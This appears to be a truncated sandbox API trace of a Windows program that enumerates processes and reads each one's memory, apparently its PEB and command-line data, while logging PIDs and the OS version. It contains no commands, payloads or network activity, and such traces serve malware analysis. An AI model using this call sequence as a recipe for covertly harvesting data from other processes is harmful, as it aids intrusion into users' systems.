[0236.208] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x8b4) returned 0x464 [0236.208] GetLastError () returned 0x0 [0236.208] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x2dc24fc5a0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc24fc5a0, ReturnLength=0x0) returned 0x0 [0236.208] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x9a9d57f018, lpBuffer=0x2dc24fc570, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc570*, lpNumberOfBytesRead=0x0) returned 1 [0236.522] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x7ffb202f5220, lpBuffer=0x2dc24fc560, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc560*, lpNumberOfBytesRead=0x0) returned 1 [0236.725] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x20f49003780, lpBuffer=0x2dc24fc980, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc980*, lpNumberOfBytesRead=0x0) returned 1 [0236.939] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x20f490032e8, lpBuffer=0x2dc24fc2d0, nSize=0xa0, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc2d0*, lpNumberOfBytesRead=0x0) returned 1 [0237.149] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x1, ProcessInformation=0x2dc24fc5d0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc24fc5d0, ReturnLength=0x0) returned 0x0 [0237.285] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x2dc24fc0a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc24fc0a8, ReturnLength=0x0) returned 0x0 [0237.286] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x9a9d57f020, lpBuffer=0x2dc24fc090, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc090*, lpNumberOfBytesRead=0x0) returned 1 [0237.488] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x20f49002c60, lpBuffer=0x2dc24fc0e0, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc0e0*, lpNumberOfBytesRead=0x0) returned 1 [0237.691] malloc (_Size=0x118) returned 0x20abc286930 [0237.691] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x20f49003388, lpBuffer=0x20abc286930, nSize=0x116, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x20abc286930*, lpNumberOfBytesRead=0x0) returned 1 [0237.882] free (_Block=0x20abc286930) [0237.883] CloseHandle (hObject=0x464) returned 1 [0237.884] _ui64tow_s (in: _Value=0x92c, _Buffer=0x2dc24fd4a0, _BufferCount=0x104, _Radix=10 | out: _Buffer="2348") returned 0x0 [0237.888] _vsnwprintf (in: _Buffer=0x2dc24fd1c0, _BufferCount=0x103, _Format="%lu", _ArgList=0x2dc24fc548 | out: _Buffer="2348") returned 4 [0237.890] GetVersionExW (in: lpVersionInformation=0x2dc24fc600*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x2dc24fc600*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0237.890] _vsnwprintf (in: _Buffer=0x2dc24fcfb0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x2dc24fc548 | out: _Buffer="10.0.10586") returned 10 [0237.908] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x92c) returned 0x464 [0237.908] GetLastError () returned 0x0 [0237.909] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x2dc24fc5a0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc24fc5a0, ReturnLength=0x0) returned 0x0 [0237.909] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0xbecf55d018, lpBuffer=0x2dc24fc570, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc570*, lpNumberOfBytesRead=0x0) returned 1 [0238.134] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x7ffb202f5220, lpBuffer=0x2dc24fc560, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc560*, lpNumberOfBytesRead=0x0) returned 1 [0238.342] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x1df67f03730, lpBuffer=0x2dc24fc980, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc980*, lpNumberOfBytesRead=0x0) returned 1 [0238.527] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x1df67f032b4, lpBuffer=0x2dc24fc2d0, nSize=0x96, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc2d0*, lpNumberOfBytesRead=0x0) returned 1 [0238.808] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x1, ProcessInformation=0x2dc24fc5d0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc24fc5d0, ReturnLength=0x0) returned 0x0 [0238.918] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x2dc24fc0a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc24fc0a8, ReturnLength=0x0) returned 0x0 [0238.918] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0xbecf55d020, lpBuffer=0x2dc24fc090, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc090*, lpNumberOfBytesRead=0x0) returned 1 [0239.151] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x1df67f02c20, lpBuffer=0x2dc24fc0e0, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc0e0*, lpNumberOfBytesRead=0x0) returned 1 [0239.415] malloc (_Size=0x11a) returned 0x20abc286870 [0239.415] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x1df67f0334a, lpBuffer=0x20abc286870, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x20abc286870*, lpNumberOfBytesRead=0x0) returned 1 [0239.619] free (_Block=0x20abc286870) [0239.620] CloseHandle (hObject=0x464) returned 1 [0239.621] _ui64tow_s (in: _Value=0x828, _Buffer=0x2dc24fd4a0, _BufferCount=0x104, _Radix=10 | out: _Buffer="2088") returned 0x0 [0239.625] _vsnwprintf (in: _Buffer=0x2dc24fd1c0, _BufferCount=0x103, _Format="%lu", _ArgList=0x2dc24fc548 | out: _Buffer="2088") returned 4 [0239.626] GetVersionExW (in: lpVersionInformation=0x2dc24fc600*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x2dc24fc600*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0239.626] _vsnwprintf (in: _Buffer=0x2dc24fcfb0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x2dc24fc548 | out: _Buffer="10.0.10586") returned 10 [0239.640] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x828) returned 0x464 [0239.640] GetLastError () returned 0x0 [0239.641] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x2dc24fc5a0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc24fc5a0, ReturnLength=0x0) returned 0x0 [0239.641] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x6cb0f5b018, lpBuffer=0x2dc24fc570, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc570*, lpNumberOfBytesRead=0x0) returned 1 [0239.924] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x7ffb202f5220, lpBuffer=0x2dc24fc560, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc560*, lpNumberOfBytesRead=0x0) returned 1 [0240.112] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x1c9d5603490, lpBuffer=0x2dc24fc980, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc980*, lpNumberOfBytesRead=0x0) returned 1 [0240.336] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x1c9d56030e8, lpBuffer=0x2dc24fc2d0, nSize=0x40, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc2d0*, lpNumberOfBytesRead=0x0) returned 1 [0240.551] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x1, ProcessInformation=0x2dc24fc5d0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc24fc5d0, ReturnLength=0x0) returned 0x0 [0240.911] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x2dc24fc0a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc24fc0a8, ReturnLength=0x0) returned 0x0 [0240.911] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x6cb0f5b020, lpBuffer=0x2dc24fc090, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc090*, lpNumberOfBytesRead=0x0) returned 1 [0241.243] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x1c9d5602ad0, lpBuffer=0x2dc24fc0e0, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc0e0*, lpNumberOfBytesRead=0x0) returned 1 [0241.512] malloc (_Size=0x6a) returned 0x20abc282120 [0241.512] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x1c9d5603128, lpBuffer=0x20abc282120, nSize=0x68, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x20abc282120*, lpNumberOfBytesRead=0x0) returned 1 [0241.698] free (_Block=0x20abc282120) [0241.699] CloseHandle (hObject=0x464) returned 1 [0241.699] _ui64tow_s (in: _Value=0xf8, _Buffer=0x2dc24fd4a0, _BufferCount=0x104, _Radix=10 | out: _Buffer="248") returned 0x0 [0241.704] _vsnwprintf (in: _Buffer=0x2dc24fd1c0, _BufferCount=0x103, _Format="%lu", _ArgList=0x2dc24fc548 | out: _Buffer="248") returned 3 [0241.706] GetVersionExW (in: lpVersionInformation=0x2dc24fc600*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x2dc24fc600*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0241.706] _vsnwprintf (in: _Buffer=0x2dc24fcfb0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x2dc24fc548 | out: _Buffer="10.0.10586") returned 10 [0241.722] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xf8) returned 0x464 [0241.723] GetLastError () returned 0x0 [0241.723] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x2dc24fc5a0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc24fc5a0, ReturnLength=0x0) returned 0x0 [0241.723] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x5660c01018, lpBuffer=0x2dc24fc570, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc570*, lpNumberOfBytesRead=0x0) returned 1 [0241.724] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x7ffb202f5220, lpBuffer=0x2dc24fc560, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc560*, lpNumberOfBytesRead=0x0) returned 1 [0241.724] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x2117e361bd0, lpBuffer=0x2dc24fc980, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc980*, lpNumberOfBytesRead=0x0) returned 1 [0241.724] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x2117e361818, lpBuffer=0x2dc24fc2d0, nSize=0x4c, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc2d0*, lpNumberOfBytesRead=0x0) returned 1 [0241.725] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x1, ProcessInformation=0x2dc24fc5d0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc24fc5d0, ReturnLength=0x0) returned 0x0 [0241.727] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x2dc24fc0a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc24fc0a8, ReturnLength=0x0) returned 0x0 [0241.727] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x5660c01020, lpBuffer=0x2dc24fc090, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc090*, lpNumberOfBytesRead=0x0) returned 1 [0241.727] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x2117e361200, lpBuffer=0x2dc24fc0e0, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc0e0*, lpNumberOfBytesRead=0x0) returned 1 [0241.727] malloc (_Size=0x64) returned 0x20abc2801b0 [0241.727] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x2117e361864, lpBuffer=0x20abc2801b0, nSize=0x62, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x20abc2801b0*, lpNumberOfBytesRead=0x0) returned 1 [0241.728] free (_Block=0x20abc2801b0) [0241.729] CloseHandle (hObject=0x464) returned 1 [0241.729] _ui64tow_s (in: _Value=0xa54, _Buffer=0x2dc24fd4a0, _BufferCount=0x104, _Radix=10 | out: _Buffer="2644") returned 0x0 [0241.734] _vsnwprintf (in: _Buffer=0x2dc24fd1c0, _BufferCount=0x103, _Format="%lu", _ArgList=0x2dc24fc548 | out: _Buffer="2644") returned 4 [0241.735] GetVersionExW (in: lpVersionInformation=0x2dc24fc600*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x2dc24fc600*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0241.735] _vsnwprintf (in: _Buffer=0x2dc24fcfb0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x2dc24fc548 | out: _Buffer="10.0.10586") returned 10 [0241.845] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xa54) returned 0x464 [0241.845] GetLastError () returned 0x0 [0241.846] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x2dc24fc5a0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc24fc5a0, ReturnLength=0x0) returned 0x0 [0241.846] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x112bab0018, lpBuffer=0x2dc24fc570, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc570*, lpNumberOfBytesRead=0x0) returned 1 [0241.847] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x7ffb202f5220, lpBuffer=0x2dc24fc560, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc560*, lpNumberOfBytesRead=0x0) returned 1 [0241.847] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x142610b1c80, lpBuffer=0x2dc24fc980, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc980*, lpNumberOfBytesRead=0x0) returned 1 [0241.847] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x142610b18c8, lpBuffer=0x2dc24fc2d0, nSize=0x5a, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc2d0*, lpNumberOfBytesRead=0x0) returned 1 [0241.848] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x1, ProcessInformation=0x2dc24fc5d0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc24fc5d0, ReturnLength=0x0) returned 0x0 [0241.850] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x2dc24fc0a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc24fc0a8, ReturnLength=0x0) returned 0x0 [0241.850] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x112bab0020, lpBuffer=0x2dc24fc090, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc090*, lpNumberOfBytesRead=0x0) returned 1 [0241.850] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x142610b12b0, lpBuffer=0x2dc24fc0e0, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc0e0*, lpNumberOfBytesRead=0x0) returned 1 [0241.850] malloc (_Size=0x72) returned 0x20abc282120 [0241.850] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x142610b1922, lpBuffer=0x20abc282120, nSize=0x70, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x20abc282120*, lpNumberOfBytesRead=0x0) returned 1 [0241.851] free (_Block=0x20abc282120) [0241.852] CloseHandle (hObject=0x464) returned 1 [0242.022] _ui64tow_s (in: _Value=0xa50, _Buffer=0x2dc24fd4a0, _BufferCount=0x104, _Radix=10 | out: _Buffer="2640") returned 0x0 [0242.026] _vsnwprintf (in: _Buffer=0x2dc24fd1c0, _BufferCount=0x103, _Format="%lu", _ArgList=0x2dc24fc548 | out: _Buffer="2640") returned 4 [0242.027] GetVersionExW (in: lpVersionInformation=0x2dc24fc600*(dwOSVersionInfoSize=0x114, dwMajorVersion=0x0, dwMinorVersion=0x1d63ec4f, dwBuildNumber=0x7ffb, dwPlatformId=0xc24fc880, szCSDVersion="-") | out: lpVersionInformation=0x2dc24fc600*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0242.028] _vsnwprintf (in: _Buffer=0x2dc24fcfb0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x2dc24fc548 | out: _Buffer="10.0.10586") returned 10 [0242.045] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xa50) returned 0x464 [0242.045] GetLastError () returned 0x0 [0242.046] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x2dc24fc5a0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc24fc5a0, ReturnLength=0x0) returned 0x0 [0242.046] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x3ec7242018, lpBuffer=0x2dc24fc570, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc570*, lpNumberOfBytesRead=0x0) returned 1 [0242.047] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x7ffb202f5220, lpBuffer=0x2dc24fc560, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc560*, lpNumberOfBytesRead=0x0) returned 1 [0242.047] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x14b00903510, lpBuffer=0x2dc24fc980, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc980*, lpNumberOfBytesRead=0x0) returned 1 [0242.048] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x14b0090312a, lpBuffer=0x2dc24fc2d0, nSize=0x68, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc2d0*, lpNumberOfBytesRead=0x0) returned 1 [0242.050] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x1, ProcessInformation=0x2dc24fc5d0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc24fc5d0, ReturnLength=0x0) returned 0x0 [0242.052] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x2dc24fc0a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc24fc0a8, ReturnLength=0x0) returned 0x0 [0242.052] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x3ec7242020, lpBuffer=0x2dc24fc090, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc090*, lpNumberOfBytesRead=0x0) returned 1 [0242.517] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x14b00902ad0, lpBuffer=0x2dc24fc0e0, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc0e0*, lpNumberOfBytesRead=0x0) returned 1 [0242.730] malloc (_Size=0xd6) returned 0x20abc286870 [0242.730] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x14b00903192, lpBuffer=0x20abc286870, nSize=0xd4, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x20abc286870*, lpNumberOfBytesRead=0x0) returned 1 [0242.924] free (_Block=0x20abc286870) [0242.925] CloseHandle (hObject=0x464) returned 1 [0242.926] _ui64tow_s (in: _Value=0x150, _Buffer=0x2dc24fd4a0, _BufferCount=0x104, _Radix=10 | out: _Buffer="336") returned 0x0 [0242.929] _vsnwprintf (in: _Buffer=0x2dc24fd1c0, _BufferCount=0x103, _Format="%lu", _ArgList=0x2dc24fc548 | out: _Buffer="336") returned 3 [0242.930] GetVersionExW (in: lpVersionInformation=0x2dc24fc600*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x2dc24fc600*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0242.930] _vsnwprintf (in: _Buffer=0x2dc24fcfb0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x2dc24fc548 | out: _Buffer="10.0.10586") returned 10 [0242.943] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x150) returned 0x464 [0242.943] GetLastError () returned 0x0 [0242.944] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x2dc24fc5a0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc24fc5a0, ReturnLength=0x0) returned 0x0 [0242.944] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x3b22cf9018, lpBuffer=0x2dc24fc570, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc570*, lpNumberOfBytesRead=0x0) returned 1 [0242.944] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x7ffb202f5220, lpBuffer=0x2dc24fc560, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc560*, lpNumberOfBytesRead=0x0) returned 1 [0242.944] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x222dfa036e0, lpBuffer=0x2dc24fc980, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc980*, lpNumberOfBytesRead=0x0) returned 1 [0242.944] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x222dfa03322, lpBuffer=0x2dc24fc2d0, nSize=0x56, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc2d0*, lpNumberOfBytesRead=0x0) returned 1 [0242.946] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x1, ProcessInformation=0x2dc24fc5d0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc24fc5d0, ReturnLength=0x0) returned 0x0 [0242.947] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x2dc24fc0a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc24fc0a8, ReturnLength=0x0) returned 0x0 [0242.947] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x3b22cf9020, lpBuffer=0x2dc24fc090, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc090*, lpNumberOfBytesRead=0x0) returned 1 [0242.947] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x222dfa02c70, lpBuffer=0x2dc24fc0e0, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc0e0*, lpNumberOfBytesRead=0x0) returned 1 [0242.947] malloc (_Size=0xce) returned 0x20abc286870 [0242.947] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x222dfa03378, lpBuffer=0x20abc286870, nSize=0xcc, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x20abc286870*, lpNumberOfBytesRead=0x0) returned 1 [0242.948] free (_Block=0x20abc286870) [0242.949] CloseHandle (hObject=0x464) returned 1 [0242.949] _ui64tow_s (in: _Value=0xb64, _Buffer=0x2dc24fd4a0, _BufferCount=0x104, _Radix=10 | out: _Buffer="2916") returned 0x0 [0242.953] _vsnwprintf (in: _Buffer=0x2dc24fd1c0, _BufferCount=0x103, _Format="%lu", _ArgList=0x2dc24fc548 | out: _Buffer="2916") returned 4 [0242.954] GetVersionExW (in: lpVersionInformation=0x2dc24fc600*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x2dc24fc600*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0242.954] _vsnwprintf (in: _Buffer=0x2dc24fcfb0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x2dc24fc548 | out: _Buffer="10.0.10586") returned 10 [0243.077] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xb64) returned 0x0 [0243.077] CloseHandle (hObject=0x0) returned 0 [0243.077] _ui64tow_s (in: _Value=0x1d0, _Buffer=0x2dc24fd4a0, _BufferCount=0x104, _Radix=10 | out: _Buffer="464") returned 0x0 [0243.081] _vsnwprintf (in: _Buffer=0x2dc24fd1c0, _BufferCount=0x103, _Format="%lu", _ArgList=0x2dc24fc548 | out: _Buffer="464") returned 3 [0243.082] GetVersionExW (in: lpVersionInformation=0x2dc24fc600*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x2dc24fc600*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0243.082] _vsnwprintf (in: _Buffer=0x2dc24fcfb0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x2dc24fc548 | out: _Buffer="10.0.10586") returned 10 [0243.094] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x1d0) returned 0x464 [0243.094] GetLastError () returned 0x0 [0243.095] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x2dc24fc5a0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc24fc5a0, ReturnLength=0x0) returned 0x0 [0243.095] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x3f49eb5018, lpBuffer=0x2dc24fc570, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc570*, lpNumberOfBytesRead=0x0) returned 1 [0243.095] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x7ffb202f5220, lpBuffer=0x2dc24fc560, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc560*, lpNumberOfBytesRead=0x0) returned 1 [0243.096] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x18abe791d30, lpBuffer=0x2dc24fc980, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc980*, lpNumberOfBytesRead=0x0) returned 1 [0243.096] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x18abe791948, lpBuffer=0x2dc24fc2d0, nSize=0x60, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc2d0*, lpNumberOfBytesRead=0x0) returned 1 [0243.097] NtQueryInformationProcess (in: 